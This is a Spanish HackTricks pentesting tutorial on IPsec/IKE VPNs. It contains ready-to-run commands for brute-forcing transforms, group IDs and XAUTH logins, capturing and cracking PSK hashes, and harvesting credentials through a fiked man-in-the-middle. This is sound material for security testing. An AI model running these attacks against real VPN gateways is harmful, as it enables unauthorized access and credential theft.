# 500/udp - Pentesting IPsec/IKE VPN

<details>

<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.

</details>

**Grupo de Seguridad Try Hard**

<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

***

## Información Básica

**IPsec** es ampliamente reconocido como la tecnología principal para asegurar comunicaciones entre redes (LAN a LAN) y de usuarios remotos al gateway de red (acceso remoto), sirviendo como la base para soluciones de VPN empresariales.

El establecimiento de una **asociación de seguridad (SA)** entre dos puntos es gestionado por **IKE**, que opera bajo el paraguas de ISAKMP, un protocolo diseñado para la autenticación e intercambio de claves. Este proceso se desarrolla en varias fases:

- **Fase 1:** Se crea un canal seguro entre dos puntos. Esto se logra mediante el uso de una Clave Precompartida (PSK) o certificados, empleando ya sea modo principal, que implica tres pares de mensajes, o **modo agresivo**.
- **Fase 1.5:** Aunque no es obligatoria, esta fase, conocida como la Fase de Autenticación Extendida, verifica la identidad del usuario que intenta conectarse al requerir un nombre de usuario y contraseña.
- **Fase 2:** Esta fase se dedica a negociar los parámetros para asegurar datos con **ESP** y **AH**. Permite el uso de algoritmos diferentes a los de la Fase 1 para garantizar **Secreto Directo Perfecto (PFS)**, mejorando la seguridad.


**Puerto predeterminado:** 500/udp

## **Descubre** el servicio usando nmap
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Encontrar una transformación válida**

La configuración de IPSec puede estar preparada para aceptar solo una o unas pocas transformaciones. Una transformación es una combinación de valores. **Cada transformación** contiene una serie de atributos como DES o 3DES como el algoritmo de **encriptación**, SHA o MD5 como el algoritmo de **integridad**, una clave precompartida como el tipo de **autenticación**, Diffie-Hellman 1 o 2 como el algoritmo de **distribución de clave** y 28800 segundos como el **tiempo de vida**.

Entonces, lo primero que debes hacer es **encontrar una transformación válida**, para que el servidor pueda comunicarse contigo. Para hacerlo, puedes utilizar la herramienta **ike-scan**. Por defecto, Ike-scan funciona en modo principal y envía un paquete al gateway con un encabezado ISAKMP y una sola propuesta con **ocho transformaciones en su interior**.

Dependiendo de la respuesta, puedes obtener información sobre el punto final:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Como puedes ver en la respuesta anterior, hay un campo llamado **AUTH** con el valor **PSK**. Esto significa que la VPN está configurada utilizando una clave precompartida (lo cual es realmente bueno para un pentester).\
**El valor de la última línea también es muy importante:**

* _0 returned handshake; 0 returned notify:_ Esto significa que el objetivo **no es una puerta de enlace IPsec**.
* _**1 returned handshake; 0 returned notify:**_ Esto significa que el **objetivo está configurado para IPsec y está dispuesto a realizar la negociación IKE, y uno o más de los transformadores que propusiste son aceptables** (se mostrará un transformador válido en la salida).
* _0 returned handshake; 1 returned notify:_ Las puertas de enlace VPN responden con un mensaje de notificación cuando **ninguno de los transformadores es aceptable** (aunque algunas puertas de enlace no lo hacen, en cuyo caso se debe intentar un análisis adicional y una propuesta revisada).

Entonces, en este caso ya tenemos una transformación válida, pero si te encuentras en el tercer caso, entonces necesitas **hacer un poco de fuerza bruta para encontrar una transformación válida:**

En primer lugar, necesitas crear todas las posibles transformaciones:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
Y luego realizar un ataque de fuerza bruta en cada uno utilizando ike-scan (esto puede tardar varios minutos):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Si el ataque de fuerza bruta no funcionó, tal vez el servidor esté respondiendo sin realizar apretones de manos incluso a transformaciones válidas. En ese caso, podrías intentar el mismo ataque de fuerza bruta pero utilizando el modo agresivo:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Con suerte, **una transformación válida se refleja**.\
Puedes intentar el **mismo ataque** usando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
También podrías intentar forzar transformaciones con [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)

En **Grupo DH: 14 = MODP de 2048 bits** y **15 = 3072 bits**\
**2 = HMAC-SHA = SHA1 (en este caso). El formato `--trans` es $Enc,$Hash,$Auth,$DH**

Cisco indica evitar el uso de los grupos DH 1 y 2 porque no son lo suficientemente fuertes. Los expertos creen que **los países con muchos recursos pueden romper fácilmente** la encriptación de datos que utilizan estos grupos débiles. Esto se logra mediante un método especial que los prepara para descifrar los códigos rápidamente. Aunque cuesta mucho dinero configurar este método, permite a estos países poderosos leer los datos encriptados en tiempo real si se está utilizando un grupo que no es fuerte (como 1,024 bits o menos).

### Identificación del servidor

Luego, puedes usar ike-scan para intentar **descubrir el proveedor** del dispositivo. La herramienta envía una propuesta inicial y deja de retransmitir. Luego, **analiza** la **diferencia de tiempo** entre los **mensajes recibidos** del servidor y el patrón de respuesta coincidente, el pentester puede identificar con éxito el proveedor de la puerta de enlace VPN. Además, algunos servidores VPN utilizarán el **carga útil de ID de proveedor (VID) opcional** con IKE.

**Especificar la transformación válida si es necesario** (usando --trans)

Si IKE descubre cuál es el proveedor, lo imprimirá:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
Esto también se puede lograr con el script de nmap _**ike-version**_

## Encontrar el ID correcto (nombre de grupo)

Para poder capturar el hash necesitas una transformación válida que admita el modo Agresivo y el ID correcto (nombre de grupo). Probablemente no sepas el nombre de grupo válido, por lo que tendrás que probarlo mediante fuerza bruta.\
Para hacerlo, te recomendaría 2 métodos:

### Fuerza bruta de ID con ike-scan

En primer lugar, intenta hacer una solicitud con un ID falso para intentar recopilar el hash ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Si **no se devuelve ningún hash**, entonces probablemente este método de fuerza bruta funcionará. **Si se devuelve algún hash, esto significa que se enviará de vuelta un hash falso para un ID falso, por lo que este método no será confiable** para realizar fuerza bruta en el ID. Por ejemplo, podría devolverse un hash falso (esto ocurre en versiones modernas):

![](<../.gitbook/assets/image (110).png>)

Pero como he mencionado, si no se devuelve ningún hash, entonces debes intentar realizar fuerza bruta en nombres de grupo comunes utilizando ike-scan.

Este script **intentará realizar fuerza bruta en posibles IDs** y devolverá los IDs donde se devuelve un handshake válido (esto será un nombre de grupo válido).

Si has descubierto una transformación específica, agrégala en el comando ike-scan. Y si has descubierto varias transformaciones, siéntete libre de agregar un nuevo bucle para probarlas todas (debes probarlas todas hasta que una de ellas funcione correctamente).

Puedes utilizar el [diccionario de ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) o [el de seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nombres de grupo comunes para realizar fuerza bruta en ellos:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
### Fuerza bruta de ID con Iker

[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) también utiliza **ike-scan** para realizar fuerza bruta de posibles nombres de grupo. Sigue su propio método para **encontrar un ID válido basado en la salida de ike-scan**.

### Fuerza bruta de ID con ikeforce

[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) es una herramienta que se puede utilizar para **realizar fuerza bruta de IDs también**. Esta herramienta intentará **explotar diferentes vulnerabilidades** que podrían ser utilizadas para **distinguir entre un ID válido y uno no válido** (puede haber falsos positivos y falsos negativos, por eso prefiero usar el método de ike-scan si es posible).

Por defecto, **ikeforce** enviará al principio algunos IDs aleatorios para verificar el comportamiento del servidor y determinar la táctica a utilizar.

* El **primer método** es realizar fuerza bruta de los nombres de grupo **buscando** la información de **Dead Peer Detection DPD** de los sistemas Cisco (esta información solo es respondida por el servidor si el nombre del grupo es correcto).
* El **segundo método** disponible es **verificar el número de respuestas enviadas en cada intento** porque a veces se envían más paquetes cuando se utiliza el ID correcto.
* El **tercer método** consiste en **buscar "INVALID-ID-INFORMATION" en respuesta a un ID incorrecto**.
* Finalmente, si el servidor no responde a las verificaciones, **ikeforce** intentará realizar fuerza bruta en el servidor y verificar si al enviar el ID correcto el servidor responde con algún paquete.\
Obviamente, el objetivo de la fuerza bruta del ID es obtener la **PSK** cuando se tiene un ID válido. Luego, con el **ID** y la **PSK**, deberás realizar fuerza bruta en el XAUTH (si está habilitado).

Si has descubierto una transformación específica, agrégala en el comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de agregar un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```

```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Sniffing ID

(From the book **Network Security Assessment: Know Your Network**): También es posible obtener nombres de usuario válidos al husmear la conexión entre el cliente VPN y el servidor, ya que el primer paquete de modo agresivo que contiene la identificación del cliente se envía en texto claro

![](<../.gitbook/assets/image (111).png>)

## Capturando y descifrando el hash

Finalmente, si has encontrado una **transformación válida** y el **nombre del grupo** y si el **modo agresivo está permitido**, entonces puedes obtener fácilmente el hash que se puede descifrar:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
El hash se guardará dentro de _hash.txt_.

Puedes usar **psk-crack**, **john** (usando [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) y **hashcat** para **descifrar** el hash:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**

**El modo Aggressive IKE** combinado con una **Clave Precompartida (PSK)** se emplea comúnmente para fines de **autenticación de grupo**. Este método se ve reforzado por **XAuth (Autenticación Extendida)**, que sirve para introducir una capa adicional de **autenticación de usuario**. Esta autenticación suele aprovechar servicios como **Microsoft Active Directory**, **RADIUS**, u otros sistemas comparables.

Al pasar a **IKEv2**, se observa un cambio notable donde se utiliza **EAP (Protocolo de Autenticación Extensible)** en lugar de **XAuth** con el fin de autenticar a los usuarios. Este cambio destaca una evolución en las prácticas de autenticación dentro de los protocolos de comunicación segura.


### Ataque Man-in-the-Middle en la red local para capturar credenciales

Así puedes capturar los datos del inicio de sesión utilizando _fiked_ y ver si hay algún nombre de usuario predeterminado (Necesitas redirigir el tráfico IKE a `fiked` para el espionaje, lo cual se puede hacer con la ayuda de suplantación de ARP, [más información](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked actuará como un punto final de VPN y capturará las credenciales de XAuth:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
### Ataque de MitM y bloqueo de tráfico al puerto 500 usando IPSec

También, utilizando IPSec, intenta realizar un ataque de MitM y bloquear todo el tráfico al puerto 500. Si el túnel IPSec no puede establecerse, es posible que el tráfico se envíe en texto claro.

### Fuerza bruta de nombre de usuario y contraseña XAUTH con ikeforce

Para realizar fuerza bruta en el **XAUTH** (cuando conoces un nombre de grupo válido **id** y el **psk**), puedes usar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
De esta manera, ikeforce intentará conectarse utilizando cada combinación de usuario:contraseña.

Si encontraste uno o varios transformados válidos, simplemente úsalos como en los pasos anteriores.

## Autenticación con una VPN IPSEC

En Kali, **VPNC** se utiliza para establecer túneles IPsec. Los **perfiles** deben estar ubicados en el directorio `/etc/vpnc/`. Puedes iniciar estos perfiles utilizando el comando _**vpnc**_.

Los siguientes comandos y configuraciones ilustran el proceso de configuración de una conexión VPN con VPNC:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
En esta configuración:

- Reemplace `[VPN_GATEWAY_IP]` con la dirección IP real del gateway VPN.
- Reemplace `[VPN_CONNECTION_ID]` con el identificador de la conexión VPN.
- Reemplace `[VPN_GROUP_SECRET]` con el secreto de grupo de la VPN.
- Reemplace `[VPN_USERNAME]` y `[VPN_PASSWORD]` con las credenciales de autenticación de la VPN.
- `[PID]` simboliza el ID de proceso que se asignará cuando `vpnc` se inicie.

Asegúrese de utilizar valores reales y seguros para reemplazar los marcadores de posición al configurar la VPN.

## Material de Referencia

* [Documento de cracking de PSK](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Escaneo de una Implementación de VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Evaluación de Seguridad de Redes 3ra Edición

## Shodan

* `port:500 IKE`

**Grupo de Seguridad Try Hard**

<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

<details>

<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>